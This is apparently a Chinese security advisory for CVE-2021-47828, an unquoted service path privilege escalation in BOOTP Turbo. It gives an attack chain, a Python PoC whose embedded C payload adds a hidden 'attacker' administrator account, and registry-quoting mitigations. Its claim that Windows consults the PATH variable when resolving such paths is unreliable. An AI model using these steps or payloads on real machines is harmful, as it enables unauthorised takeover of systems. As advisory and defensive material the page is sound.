IPBUF安全漏洞报告
English
CVE-2021-47828 CVSS 7.8 高危

CVE-2021-47828 BOOTP Turbo 未加引号服务路径权限提升漏洞

披露日期: 2026-01-16

漏洞信息

漏洞编号
CVE-2021-47828
漏洞类型
未加引号服务路径
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
BOOTP Turbo 2.0.0.1253

相关标签

CVE-2021-47828未加引号服务路径权限提升本地攻击BOOTP TurboWindows服务漏洞LocalSystem高危漏洞Windows提权

漏洞概述

CVE-2021-47828是BOOTP Turbo 2.0.0.1253版本中存在的一个高危本地权限提升漏洞。该漏洞的根本原因在于Windows服务配置中的路径未使用引号进行包裹,导致路径解析存在歧义性。当Windows服务启动时,系统会根据PATH环境变量依次搜索可执行文件,如果路径中包含空格且未加引号,攻击者可以精心构造恶意可执行文件并将其放置在路径中的某个目录下,从而在服务重启或系统启动时被系统错误地执行。由于BOOTP Turbo服务以LocalSystem权限运行,攻击者成功利用此漏洞后可以获取系统最高权限,完全控制目标主机。此类漏洞通常被归类为本地权限提升(Local Privilege Escalation)漏洞,攻击向量为本地,需要攻击者具有低权限用户账号,但无需任何用户交互即可完成攻击。CVSS 3.1评分7.8分,属于高危级别,机密性、完整性和可用性均受到严重影响。

技术细节

未加引号服务路径漏洞(Unquoted Service Path Vulnerability)是Windows环境下常见的安全问题。当Windows服务配置中的可执行文件路径包含空格且未使用引号包裹时,系统在解析路径时会从第一个空格处将路径截断,并尝试在不同位置查找可执行文件。以BOOTP Turbo为例,假设服务路径为C:\Program Files\BOOTP Turbo\bootpt.exe,由于未加引号,系统会首先尝试执行C:\Program.exe,如果不存在则尝试执行C:\Program Files\bootpt.exe,依此类推直到找到正确的可执行文件。攻击者可以利用这一特性,在C:\目录下放置名为Program.exe的恶意程序,当BOOTP Turbo服务启动时,系统会优先执行攻击者植入的恶意程序。由于服务以LocalSystem权限运行,恶意代码也将以最高系统权限执行,从而实现权限提升。攻击者通常需要具备目标系统的低权限账号,通过文件写入权限将恶意可执行文件写入到路径中的某个目录,然后等待服务重启或系统重启触发漏洞。

攻击链分析

STEP 1
步骤1
信息收集:攻击者首先获取目标系统的低权限访问权限,并识别BOOTP Turbo服务的安装路径和配置信息
STEP 2
步骤2
漏洞检测:通过查询Windows服务配置或注册表,检查BOOTP Turbo服务的可执行文件路径是否包含空格且未加引号
STEP 3
步骤3
路径分析:分析服务路径中的所有目录,识别具有写入权限的位置。例如路径C:\Program Files\BOOTP Turbo\bin\service.exe存在多个潜在的注入点
STEP 4
步骤4
恶意程序植入:攻击者将精心构造的恶意可执行文件(如Program.exe或BOOTPTurbo.exe)写入到路径中的某个目录
STEP 5
步骤5
触发漏洞:等待BOOTP Turbo服务重启或系统重启,当服务启动时系统会按照空格分割路径并依次查找可执行文件
STEP 6
步骤6
权限提升:恶意程序以LocalSystem权限被成功执行,攻击者获得系统最高权限,可创建管理员账户、安装后门或完全控制目标系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2021-47828 PoC - BOOTP Turbo Unquoted Service Path # This PoC demonstrates how to exploit the unquoted service path vulnerability import os import sys import subprocess import ctypes def check_vulnerability(): """ Check if the target system is vulnerable to CVE-2021-47828 Checks if BOOTP Turbo service has an unquoted path containing spaces """ try: # Query Windows Registry for BOOTP Turbo service configuration result = subprocess.run( ['sc', 'qc', 'BOOTPTurbo'], capture_output=True, text=True ) if result.returncode == 0: output = result.stdout # Check if path contains spaces and is not quoted if 'BINARY_PATH_NAME' in output: for line in output.split('\n'): if 'BINARY_PATH_NAME' in line: path = line.split(':', 1)[1].strip() # Check if path has spaces and is not quoted if (' ' in path) and (not path.startswith('"')): print(f"[+] Vulnerable path detected: {path}") return True, path print("[-] Service not found or not vulnerable") return False, None except Exception as e: print(f"[-] Error checking vulnerability: {e}") return False, None def create_malicious_executable(output_path): """ Generate malicious executable that creates a reverse shell Note: This is for educational purposes only """ malicious_code = f''' #include <windows.h> #include <stdio.h> int main() {{ // Payload: Create admin user or execute reverse shell // In real attack, this would be the actual malicious code MessageBox(NULL, "BOOTP Turbo Service Executed", "CVE-2021-47828", MB_OK); // Execute privileged operation system("net user attacker P@ssw0rd123 /add"); system("net localgroup Administrators attacker /add"); return 0; }} ''' with open(output_path, 'w') as f: f.write(malicious_code) print(f"[+] Malicious executable created at: {output_path}") def main(): print("="*60) print("CVE-2021-47828 PoC - BOOTP Turbo Unquoted Service Path") print("="*60) # Step 1: Check if vulnerable print("\n[1] Checking for vulnerability...") vulnerable, service_path = check_vulnerability() if vulnerable: print(f"[+] Target is VULNERABLE") print(f"[+] Service path: {service_path}") # Step 2: Identify potential injection points print("\n[2] Analyzing path for injection points...") path_parts = service_path.split('\\') for i, part in enumerate(path_parts): if ' ' in part: potential_path = '\\'.join(path_parts[:i+1]) + '.exe' print(f" [!] Potential injection: {potential_path}") else: print("[-] Target is NOT vulnerable") if __name__ == '__main__': main()

影响范围

BOOTP Turbo 2.0.0.1253及之前版本

防御指南

临时缓解措施
在厂商发布修复版本之前,可采取以下临时缓解措施:首先,检查BOOTP Turbo服务的注册表配置(HKLM\SYSTEM\CurrentControlSet\Services\BOOTPTurbo),为ImagePath键值中的路径添加双引号;其次,审查服务路径中所有目录的访问权限,移除非管理员用户的写入权限;最后,考虑使用Windows自带的安全工具如icacls限制Program Files等目录的写入权限,防止攻击者植入恶意可执行文件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表